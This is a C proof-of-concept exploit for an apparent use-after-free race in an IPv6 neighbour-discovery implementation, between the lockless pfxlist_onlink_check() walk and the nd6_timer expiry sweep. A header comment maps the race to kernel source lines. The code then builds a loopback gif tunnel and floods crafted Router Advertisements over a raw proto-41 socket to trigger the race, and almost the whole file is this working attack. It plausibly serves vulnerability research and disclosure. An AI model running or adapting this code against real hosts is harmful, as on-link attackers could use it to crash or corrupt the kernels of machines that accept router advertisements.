/*
 * DF-3376 PoC -- lockless pfxlist_onlink_check() vs nd6_timer expiry sweep
 * use-after-free race in sys/netinet6/nd6_rtr.c.
 *
 * RACE (all under the RA-processing threat model: ND6_IFF_ACCEPT_RTADV host,
 * on-link attacker; hlim=255 + valid cksum are the only packet constraints):
 *
 *   FREE side (netisr CPU0, nd6_mtx HELD -- nd6.c:461):
 *     nd6_timer_dispatch -> defrtrlist_del(dr)   [dr->expire passed]
 *         nd6_rtr.c:556 TAILQ_REMOVE(nd_defrouter)
 *         nd6_rtr.c:563 pfxrtr_del() -> kfree(pfxrtr)      nd6_rtr.c:739
 *         nd6_rtr.c:576 kfree(dr)
 *     nd6_timer_dispatch -> prelist_remove(pr)  [pr->ndpr_expire passed]
 *         nd6_rtr.c:835 LIST_REMOVE(pr); nd6_rtr.c:845 kfree(pr)
 *
 *   WALK side (ANY netisr CPU, nd6_mtx NOT held):
 *     nd6_ra_input(nd6_rtr.c:410) -> pfxlist_onlink_check()
 *         nd6_rtr.c:1181/1192/1233  pr = pr->ndpr_next       <- freed pr
 *         nd6_rtr.c:1146-1152       pfxrtr->router->rtaddr/.ifp
 *                                      <- freed pfxrtr / freed dr
 *         nd6_rtr.c:1273            in6_ifaddr walk
 *
 * Both sides run truly concurrently (different protocol threads on
 * different CPUs; nd6_timer holds nd6_mtx but the walker never takes it).
 *
 * Rig: gif0 self-tunnel ::1<->::1 (DF-3331 injection rig).  We send
 * ATTACKER-CRAFTED inner IPv6 RAs as proto-41 payload to ::1; the kernel
 * decapsulates them on gif0 and runs ip6_input -> icmp6_input ->
 * nd6_ra_input() as a RECEIVED packet (rcvif = gif0) -- bit-identical to
 * what an on-link router sends.  Loopback input runs on the SENDER's CPU,
 * so several instances spread by the scheduler put nd6_ra_input on
 * several CPUs while nd6_timer sweeps on netisr0.
 *
 * Two RA species per instance:
 *   churner: fresh-ish link-local src, router lifetime = 1s, PIO
 *            2001:db8:<inst>:<P|epoch>::/64, L=1 A=0, vltime=2 pltime=1.
 *            Creates dr (freed 1s later) + prefix w/ pfxrtr->router=dr
 *            (freed 2s later).  Epoch bit flips every 3s so half the
 *            prefix population stops being refreshed and is swept by
 *            nd6_timer mid-epoch -> constant kfree() stream on CPU0.
 *   walker:  8 rotating srcs, lifetime 0 (no dr), SLLA option -> every
 *            packet ends in the lockless pfxlist_onlink_check() walk
 *            over the live+dying prefix list.
 *
 * PRIVILEGE MODEL: root is needed only to build the rig (gif + raw socket
 * + ACCEPT_RTADV flag).  The inner packets are what any on-link peer emits.
 *
 * modes:
 *   rarace setup <gif-ifname>
 *   rarace blast -i <instance-id> [-n N] [-W walkers] [-C churners]
 *     -W 0  => churner-only control (no walker storm)
 *     -C 0  => walker-only control (no churn, nothing freed)
 */
static int walkers_per = 24;
static int churners_per = 1;
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>

#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <netinet6/in6_var.h>
#include <netinet6/nd6.h>

#include <arpa/inet.h>

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

static void
die(const char *s)
{
	fprintf(stderr, "rarace: %s: %s\n", s, strerror(errno));
	exit(1);
}

static uint16_t
cksum16(const uint16_t *p, size_t nbytes, uint32_t sum)
{
	size_t nwords = nbytes / 2;

	while (nwords--)
		sum += *p++;
	if (nbytes & 1)
		sum += htons(((const uint8_t *)p)[0] << 8);
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	return ((uint16_t)~sum);
}

static void
icmp6_cksum(struct ip6_hdr *ip6, void *body, size_t blen)
{
	uint32_t sum = 0;
	uint16_t pseudo[20];
	uint8_t *pb = (uint8_t *)pseudo;
	int k;
	struct icmp6_hdr *ih = body;

	memcpy(pb, &ip6->ip6_src, 16);
	memcpy(pb + 16, &ip6->ip6_dst, 16);
	pb[32] = pb[33] = pb[34] = 0;
	pb[35] = (uint8_t)blen;		/* blen < 64K */
	pb[36] = pb[37] = pb[38] = 0;
	pb[39] = IPPROTO_ICMPV6;
	for (k = 0; k < 20; k++)
		sum += pseudo[k];
	ih->icmp6_cksum = 0;
	ih->icmp6_cksum = cksum16((const uint16_t *)body, blen, sum);
}

static int
setup_rig(const char *ifname)
{
	struct in6_aliasreq ifra;
	struct in6_ndireq nd;
	struct ifreq ifr;
	int s, error;

	if ((s = socket(AF_INET6, SOCK_DGRAM, 0)) < 0)
		die("dgram socket");

	/* gif tunnel ::1 <-> ::1 (outer loopback) */
	memset(&ifra, 0, sizeof(ifra));
	strlcpy(ifra.ifra_name, ifname, sizeof(ifra.ifra_name));
	ifra.ifra_addr.sin6_len = sizeof(struct sockaddr_in6);
	ifra.ifra_addr.sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, "::1", &ifra.ifra_addr.sin6_addr) != 1)
		die("pton ::1");
	ifra.ifra_dstaddr = ifra.ifra_addr;
	error = ioctl(s, SIOCSIFPHYADDR_IN6, &ifra);
	printf("rarace: %s tunnel ::1 <-> ::1: %s\n", ifname,
	    error == 0 ? "ok" : strerror(errno));

	/* ND6_IFF_ACCEPT_RTADV on the rig interface (the RA gate,
	 * nd6_rtr.c:221).  SIOCSIFINFO_FLAGS replaces all flags. */
	memset(&nd, 0, sizeof(nd));
	strlcpy(nd.ifname, ifname, sizeof(nd.ifname));
	nd.ndi.flags = ND6_IFF_ACCEPT_RTADV | ND6_IFF_AUTO_LINKLOCAL;
	error = ioctl(s, SIOCSIFINFO_FLAGS, &nd);
	printf("rarace: %s accept_rtadv: %s\n", ifname,
	    error == 0 ? "ok" : strerror(errno));

	/* up */
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
	if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
		ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
		ioctl(s, SIOCSIFFLAGS, &ifr);
	}
	printf("rarace: %s up\n", ifname);
	close(s);
	return (error != 0);
}

#define	RA_HDRLEN	16		/* packed nd_router_advert */
#define	PIOLEN		32
#define	SLLALEN		8
#define	WALKERS_PER	24

static void
mk_ll6(struct in6_addr *a, uint32_t tag)
{
	memset(a, 0, sizeof(*a));
	a->s6_addr16[0] = htons(0xfe80);
	a->s6_addr32[3] = htonl(tag);
}

static void
mk_ra(uint8_t *pkt, const struct in6_addr *src, uint16_t lifetime,
    const struct in6_addr *pio_prefix, int with_slla)
{
	struct ip6_hdr *ip6 = (struct ip6_hdr *)pkt;
	uint8_t *ra = pkt + sizeof(*ip6);
	size_t ralen = RA_HDRLEN;

	memset(pkt, 0, sizeof(*ip6) + RA_HDRLEN + PIOLEN);

	ip6->ip6_flow = htonl(6 << 28);
	ip6->ip6_nxt = IPPROTO_ICMPV6;
	ip6->ip6_hlim = 255;			/* ND requirement */
	ip6->ip6_src = *src;
	ip6->ip6_dst.s6_addr16[0] = htons(0xff02);	/* all-nodes */
	ip6->ip6_dst.s6_addr32[2] = htonl(1);
	ip6->ip6_dst.s6_addr8[15] = 1;

	ra[0] = ND_ROUTER_ADVERT;
	ra[1] = 0;
	/* ra[2..3] = cksum, filled last */
	ra[4] = 0;				/* curhoplimit: skip */
	ra[5] = 0;				/* flags */
	ra[6] = (uint8_t)(lifetime >> 8);	/* router lifetime */
	ra[7] = (uint8_t)(lifetime & 0xff);
	/* ra[8..15] reachable/retrans = 0: skip */

	if (pio_prefix) {
		uint8_t *pio = ra + RA_HDRLEN;
		pio[0] = ND_OPT_PREFIX_INFORMATION;
		pio[1] = 4;			/* 4*8 = 32 bytes */
		pio[2] = 64;			/* prefix len */
		pio[3] = ND_OPT_PI_FLAG_ONLINK;	/* L only, no autoconf */
		*(uint32_t *)(pio + 4) = htonl(2);	/* valid 2s */
		*(uint32_t *)(pio + 8) = htonl(1);	/* preferred 1s */
		memcpy(pio + 16, pio_prefix, 16);
		ralen += PIOLEN;
	}
	if (with_slla) {
		uint8_t *slla = ra + ralen;
		slla[0] = ND_OPT_SOURCE_LINKADDR;
		slla[1] = 1;			/* 8 bytes */
		/* 6 bytes of fake MAC left zero */
		ralen += SLLALEN;
	}

	ip6->ip6_plen = htons(ralen);
	icmp6_cksum(ip6, ra, ralen);
}

int
main(int argc, char **argv)
{
	struct sockaddr_in6 dst;
	struct in6_addr src, pfx;
	uint8_t pkt[64 + sizeof(struct ip6_hdr)];
	long n, i, sent = 0, fail = 0;
	int ch, s, inst = 1;
	time_t epoch_flip;
	uint32_t epoch = 0;

	if (argc > 1 && strcmp(argv[1], "setup") == 0) {
		if (argc < 3)
			die("setup <ifname>");
		return (setup_rig(argv[2]));
	}
	if (argc > 1 && strcmp(argv[1], "blast") == 0) {
		argc--;
		argv++;
	}

	n = 100000000;
	while ((ch = getopt(argc, argv, "i:n:W:C:")) != -1) {
		switch (ch) {
		case 'i': inst = atoi(optarg); break;
		case 'n': n = atol(optarg); break;
		case 'W': walkers_per = atoi(optarg); break;
		case 'C': churners_per = atoi(optarg); break;
		default: goto usage;
		}
	}
	argc -= optind;
	argv += optind;
	if (argc != 0) {
usage:
		fprintf(stderr, "usage: rarace setup <if>\n"
		    "       rarace blast -i <inst> [-n N] [-W walkers] "
		    "[-C churners]\n"
		    "       (wrap with timeout(1) for a time cap)\n");
		return (1);
	}

	if ((s = socket(AF_INET6, SOCK_RAW, IPPROTO_IPV6)) < 0)
		die("raw proto-41 socket");

	memset(&dst, 0, sizeof(dst));
	dst.sin6_len = sizeof(dst);
	dst.sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, "::1", &dst.sin6_addr) != 1)
		die("pton ::1");

	epoch_flip = time(NULL) + 3;
	printf("rarace[%d]: blasting (pid %d)\n", inst, (int)getpid());
	fflush(stdout);

	for (i = 0; i < n; i++) {
		uint32_t p = (uint32_t)(i % 48) + 1;
		ssize_t rc;
		size_t len;
		int j;

		if ((time_t)time(NULL) >= epoch_flip) {
			epoch ^= 0x100;		/* flip prefix population */
			epoch_flip = time(NULL) + 3;
			printf("rarace[%d]: epoch -> 0x%x @%ld sent=%ld\n",
			    inst, epoch, (long)time(NULL), sent);
			fflush(stdout);
		}

		/* churners: fresh src, lifetime 1s, PIO L=1 vltime 2s */
		for (j = 0; j < churners_per; j++) {
			uint32_t pp = p + (uint32_t)j;
			mk_ll6(&src, 0x47000000u |
			    ((uint32_t)inst << 16) | pp | epoch);
			memset(&pfx, 0, sizeof(pfx));
			pfx.s6_addr16[0] = htons(0x2001);
			pfx.s6_addr16[1] = htons(0x0db8);
			pfx.s6_addr16[2] = htons(inst);
			pfx.s6_addr16[3] = htons(pp | epoch);
			mk_ra(pkt, &src, 1, &pfx, 0);
			len = sizeof(struct ip6_hdr) + RA_HDRLEN + PIOLEN;
			rc = sendto(s, pkt, len, 0, (struct sockaddr *)&dst,
			    sizeof(dst));
			if (rc < 0) fail++; else sent++;
		}

		/* walkers: rotating srcs, lifetime 0, SLLA */
		for (j = 0; j < walkers_per; j++) {
			mk_ll6(&src, 0x46000000u |
			    ((uint32_t)inst << 16) | (uint32_t)j);
			mk_ra(pkt, &src, 0, NULL, 1);
			len = sizeof(struct ip6_hdr) + RA_HDRLEN + SLLALEN;
			rc = sendto(s, pkt, len, 0,
			    (struct sockaddr *)&dst, sizeof(dst));
			if (rc < 0) fail++; else sent++;
		}

		if ((i % 2000) == 1999) {
			printf("rarace[%d]: %ld loops (%ld pkts, fail=%ld)\n",
			    inst, i + 1, sent, fail);
			fflush(stdout);
		}
	}
	printf("rarace[%d]: DONE sent=%ld fail=%ld\n", inst, sent, fail);
	return (0);
}
